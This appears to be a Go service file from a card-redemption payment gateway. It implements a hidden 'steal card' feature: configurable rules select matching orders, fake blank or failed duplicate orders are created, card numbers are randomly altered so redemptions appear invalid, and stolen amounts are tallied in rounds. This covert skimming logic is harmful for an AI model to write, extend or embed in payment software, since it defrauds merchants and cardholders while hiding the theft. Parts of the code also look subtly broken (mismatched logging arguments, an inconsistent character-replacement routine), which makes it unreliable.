299 lines
11 KiB
Go
299 lines
11 KiB
Go
package service
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"fmt"
|
|
"gateway/internal/consts"
|
|
"gateway/internal/models/hidden"
|
|
"gateway/internal/models/order"
|
|
"gateway/internal/models/road"
|
|
"gateway/internal/models/setting"
|
|
"gateway/internal/otelTrace"
|
|
|
|
"gateway/internal/service/supplier"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"github.com/duke-git/lancet/v2/datetime"
|
|
"github.com/duke-git/lancet/v2/pointer"
|
|
"github.com/duke-git/lancet/v2/random"
|
|
"github.com/duke-git/lancet/v2/slice"
|
|
"github.com/duke-git/lancet/v2/validator"
|
|
"github.com/mohae/deepcopy"
|
|
"go.uber.org/zap"
|
|
)
|
|
|
|
// GetOrderLock 定义一个锁
|
|
var GetOrderLock = sync.Mutex{}
|
|
|
|
// GetOrderHidden 判断当前订单是否偷卡
|
|
func GetOrderHidden(ctx context.Context, orderNo *order.OrderInfo) (cfg *hidden.MerchantHiddenConfig) {
|
|
//加锁
|
|
GetOrderLock.Lock()
|
|
defer GetOrderLock.Unlock()
|
|
|
|
// 查询当前订单是否处于偷卡的范围
|
|
cardConfig := setting.GetStealCardConfig()
|
|
if pointer.IsNil(cardConfig) {
|
|
return
|
|
}
|
|
configList, err := hidden.GetAllEnabledMerchantHiddenConfig(orderNo.OrderAmount, orderNo.MerchantUid, orderNo.RoadUid)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
for _, config := range configList {
|
|
|
|
var amountRule []int
|
|
err = json.Unmarshal([]byte(config.AmountRule), &amountRule)
|
|
if err != nil {
|
|
otelTrace.Logger.WithContext(ctx).Error("偷卡规则查询失败:%v", zap.Error(err))
|
|
continue
|
|
}
|
|
//匹配条件:当前订单金额在配置金额规则中 && 当前订单面额小于等于配置面额
|
|
if !slice.Contain(amountRule, int(orderNo.OrderAmount)) {
|
|
continue
|
|
}
|
|
|
|
roadInfo := road.GetRoadInfoByRoadUid(ctx, config.RoadUid)
|
|
if pointer.IsNil(roadInfo) || roadInfo.Id == 0 {
|
|
continue
|
|
}
|
|
|
|
record, err2 := hidden.GetLatestOneRecordByHiddenConfigId(config.Id, []int{int(consts.StealRuleStatusSuccess), int(consts.StealRuleStatusWaiting)})
|
|
if err2 != nil {
|
|
otelTrace.Logger.WithContext(ctx).Error("偷卡规则查询失败:%v", zap.Error(err2))
|
|
continue
|
|
}
|
|
|
|
//如果没有历史记录,或者上一轮已经结束,开启下一轮
|
|
if record.IsFinish == 1 || record.Id == 0 {
|
|
orderInfos, err := order.GetByUidAndRoadUidAndTime(config.MerchantUid, config.RoadUid, datetime.Max(record.UpdatedAt, *cardConfig.UpdatedAt))
|
|
if err != nil || len(orderInfos) == 0 {
|
|
otelTrace.Logger.WithContext(ctx).Error("偷卡规则查询失败:%v", zap.Error(err))
|
|
continue
|
|
}
|
|
|
|
//计算订单金额
|
|
amountTotal := slice.ReduceBy(orderInfos, 0, func(index int, item *order.OrderInfo, agg int) int {
|
|
return agg + int(item.FactAmount)
|
|
})
|
|
|
|
//如果历史订单小于待偷取的金额,则跳过
|
|
if amountTotal <= config.Amount {
|
|
continue
|
|
}
|
|
} else {
|
|
//查找最后一次偷卡成功记录
|
|
lastSucceedRecord, err := hidden.GetLatestOneRecordByHiddenConfigIdAndFinish(record.MerchantHiddenConfigId, []int{int(consts.StealRuleStatusSuccess)}, 1)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
// 获取最后一轮偷卡数据
|
|
records, err := hidden.GetRecordByConfigId(record.MerchantHiddenConfigId, []int{int(consts.StealRuleStatusSuccess), int(consts.StealRuleStatusWaiting)}, lastSucceedRecord.CreatedAt)
|
|
if err != nil {
|
|
otelTrace.Logger.WithContext(ctx).Error("偷卡规则查询失败:%v", zap.Error(err))
|
|
return
|
|
}
|
|
recordTotal := slice.ReduceBy(records, 0, func(index int, item *hidden.MerchantHiddenRecord, agg int) int {
|
|
return agg + int(item.ActualAmount)
|
|
})
|
|
//如果这轮偷卡金额大于面额,则跳过
|
|
if recordTotal >= config.FaceAmount {
|
|
continue
|
|
}
|
|
}
|
|
cfg = config
|
|
}
|
|
return
|
|
}
|
|
|
|
// CreateHiddenBlankOrder 创建新的空白订单
|
|
func CreateHiddenBlankOrder(ctx context.Context, orderInfo *order.OrderInfo, duration int64) (bankOrderId string, err error) {
|
|
bankOrderId, err = order.HiddenOrder(ctx, orderInfo)
|
|
otelTrace.Logger.WithContext(ctx).Info(fmt.Sprintf("创建新的假订单:%v", orderInfo.BankOrderId, bankOrderId), zap.String("bankOrderId", bankOrderId), zap.String("orderInfo.BankOrderId", orderInfo.BankOrderId))
|
|
|
|
//复制到一个新的对象中
|
|
newOrderInfo := deepcopy.Copy(*orderInfo).(order.OrderInfo)
|
|
// 创建一个新的失败订单
|
|
newOrderInfo.ExValue = "{}"
|
|
newOrderInfo.Id = 0
|
|
order.InsertOrder(ctx, newOrderInfo)
|
|
// 去掉现有订单的关联数据
|
|
return
|
|
}
|
|
|
|
func CreateHiddenErrorOrder(ctx context.Context, orderInfo *order.OrderInfo, duration int64) (bankOrderId string, err error) {
|
|
bankOrderId, _ = order.HiddenOrder(ctx, orderInfo)
|
|
//创建利润表
|
|
|
|
//复制到一个新的对象中
|
|
newOrderInfo := deepcopy.Copy(*orderInfo).(order.OrderInfo)
|
|
// 创建一个新的失败订单
|
|
newOrderInfo.PayTime = orderInfo.PayTime.Add(time.Second * time.Duration(duration))
|
|
newOrderInfo.UpdateTime = orderInfo.UpdateTime.Add(time.Second * time.Duration(duration))
|
|
exValue := supplier.RedeemCardInfo{}
|
|
if err = json.Unmarshal([]byte(newOrderInfo.ExValue), &exValue); err != nil {
|
|
return
|
|
}
|
|
//字符串转数组
|
|
newOrderInfo.Id = 0
|
|
exValue.Data = ReplaceNumberOrLetter(exValue.Data, len(exValue.Data))
|
|
exValue.CardNo = ReplaceNumberOrLetter(exValue.CardNo, len(exValue.CardNo))
|
|
order.InsertOrder(ctx, newOrderInfo)
|
|
return
|
|
}
|
|
|
|
func CreateRelateHideOrderRecord(targetOrderBankId string, orderInfo *order.OrderInfo, cfg *hidden.MerchantHiddenConfig, delayDuration int) (err error) {
|
|
_, err = hidden.AddMerchantHiddenRecord(&hidden.MerchantHiddenRecord{
|
|
TargetOrderNo: targetOrderBankId,
|
|
SourceOrderNo: orderInfo.BankOrderId,
|
|
OrderAmount: orderInfo.OrderAmount,
|
|
MerchantHiddenConfigId: cfg.Id,
|
|
Strategy: cfg.Strategy,
|
|
Status: int(consts.StealRuleStatusWaiting),
|
|
DelayDuration: delayDuration,
|
|
CreatedAt: time.Now(),
|
|
UpdatedAt: time.Now(),
|
|
})
|
|
return
|
|
}
|
|
|
|
func GetRelateRecordByTargetOrderNo(ctx context.Context, targetOrderBankId string) (record *hidden.MerchantHiddenRecord, err error) {
|
|
record, err = hidden.GetByTargetOrderNo(ctx, targetOrderBankId)
|
|
return
|
|
}
|
|
|
|
//// ReplaceNumberOrLetter 替换数字或字母
|
|
//func ReplaceNumberOrLetter(str string, length int) string {
|
|
// if length <= 0 {
|
|
// return str
|
|
// }
|
|
// list := strings.Split(str, "")
|
|
// targetStr := random.RandFromGivenSlice(list)
|
|
// if !pointer.IsNil(targetStr) && targetStr != "" {
|
|
// index := random.RandFromGivenSlice(FindAllIndex(str, targetStr))
|
|
// otel.Logger.WithContext(ctx).Info(str, FindAllIndex(str, targetStr))
|
|
// if index != -1 {
|
|
// if validator.IsIntStr(targetStr) {
|
|
// //去掉当前数字
|
|
// num := random.RandFromGivenSlice(slice.Filter([]string{"1", "2", "3", "4", "5", "6", "7", "8", "9", "0"}, func(index int, item string) bool {
|
|
// return item != targetStr
|
|
// }))
|
|
// list[index] = num
|
|
// return strings.Join(list, "")
|
|
// }
|
|
// if validator.IsAllUpper(targetStr) {
|
|
// alpha := random.RandFromGivenSlice(slice.Filter([]string{"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}, func(index int, item string) bool {
|
|
// return item != targetStr
|
|
// }))
|
|
// list[index] = alpha
|
|
// return strings.Join(list, "")
|
|
// }
|
|
// if validator.IsAllLower(targetStr) {
|
|
// alpha := random.RandFromGivenSlice(slice.Filter([]string{"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}, func(index int, item string) bool {
|
|
// return item != targetStr
|
|
// }))
|
|
// list[index] = alpha
|
|
// return strings.Join(list, "")
|
|
// }
|
|
// }
|
|
// }
|
|
// return ReplaceNumberOrLetter(strings.Join(list, ""), length-1)
|
|
//}
|
|
|
|
func ReplaceNumberOrLetter(str string, length int) string {
|
|
if length <= 0 {
|
|
return str
|
|
}
|
|
list := strings.Split(str, "")
|
|
resultValueList := make([]string, len(str))
|
|
|
|
//设置待替换个数
|
|
replaceNum := 1
|
|
|
|
for i, s := range list {
|
|
// 随机取一个字符
|
|
char := random.RandFromGivenSlice(list)
|
|
index := random.RandFromGivenSlice(FindAllIndex(str, char))
|
|
if replaceNum > 0 && validator.IsNumber(char) {
|
|
value := random.RandFromGivenSlice(slice.Filter(strings.Split(random.Numeral, ""), func(_ int, item string) bool {
|
|
return item != char
|
|
}))
|
|
replaceNum -= 1
|
|
resultValueList[index] = value
|
|
}
|
|
if replaceNum > 0 && validator.IsAllUpper(char) {
|
|
value := random.RandFromGivenSlice(slice.Filter(strings.Split(random.UpperLetters, ""), func(_ int, item string) bool {
|
|
return item != char
|
|
}))
|
|
replaceNum -= 1
|
|
list[index] = value
|
|
}
|
|
if replaceNum > 0 && validator.IsAllLower(char) {
|
|
value := random.RandFromGivenSlice(slice.Filter(strings.Split(random.LowwerLetters, ""), func(_ int, item string) bool {
|
|
return item != char
|
|
}))
|
|
replaceNum -= 1
|
|
list[index] = value
|
|
}
|
|
if list[i] == "" {
|
|
resultValueList[i] = s
|
|
}
|
|
}
|
|
return strings.Join(resultValueList, "")
|
|
}
|
|
|
|
// FindAllIndex 找到字符串中所要搜索字符的所有索引
|
|
func FindAllIndex(str string, char string) []int {
|
|
result := make([]int, 0)
|
|
list := strings.Split(str, "")
|
|
for i, s := range list {
|
|
if s == char {
|
|
result = append(result, i)
|
|
}
|
|
}
|
|
return result
|
|
}
|
|
|
|
// UpdateRelateRecordStatus 更新偷卡状态和偷卡金额
|
|
func UpdateRelateRecordStatus(ctx context.Context, orderBankId string, amount float64, status int) (err error) {
|
|
err = hidden.UpdateStatusAndAmount(ctx, orderBankId, amount, status)
|
|
return
|
|
}
|
|
|
|
var UpdateStealRecordLock = sync.Mutex{}
|
|
|
|
func UpdateRelateRecordSucceedStatus(ctx context.Context, orderBankId string, amount float64) (err error) {
|
|
UpdateStealRecordLock.Lock()
|
|
defer UpdateStealRecordLock.Unlock()
|
|
|
|
otelTrace.Logger.WithContext(ctx).Info("【偷卡】更新偷卡记录", zap.String(orderBankId, "orderBankId"), zap.Float64("amount", amount))
|
|
//查询本次偷卡记录
|
|
record, err := GetRelateRecordByTargetOrderNo(ctx, orderBankId)
|
|
if err != nil || pointer.IsNil(record) || record.Id == 0 {
|
|
return
|
|
}
|
|
//更新本次偷卡金额和状态
|
|
err = UpdateRelateRecordStatus(ctx, orderBankId, amount, int(consts.StealRuleStatusSuccess))
|
|
//根据id查找配置
|
|
cfg, err := hidden.GetMerchantHiddenConfigById(record.MerchantHiddenConfigId)
|
|
if err != nil || pointer.IsNil(cfg) || cfg.Id == 0 {
|
|
return
|
|
}
|
|
//查询最后一轮偷卡记录
|
|
lastSucceedRecord, err := hidden.GetLatestOneRecordByHiddenConfigIdAndFinish(record.MerchantHiddenConfigId, []int{int(consts.StealRuleStatusSuccess)}, 1)
|
|
records, err := hidden.GetRecordByConfigId(record.MerchantHiddenConfigId, []int{int(consts.StealRuleStatusSuccess), int(consts.StealRuleStatusWaiting)}, lastSucceedRecord.CreatedAt)
|
|
recordTotal := slice.ReduceBy(records, 0, func(index int, item *hidden.MerchantHiddenRecord, agg int) int {
|
|
return agg + int(item.ActualAmount)
|
|
})
|
|
//如果这轮偷取的金额大于配置的面额,就设置本轮偷卡结束
|
|
if recordTotal >= cfg.FaceAmount {
|
|
err = hidden.UpdateFinishedStatus(record.Id, 1)
|
|
}
|
|
return
|
|
}
|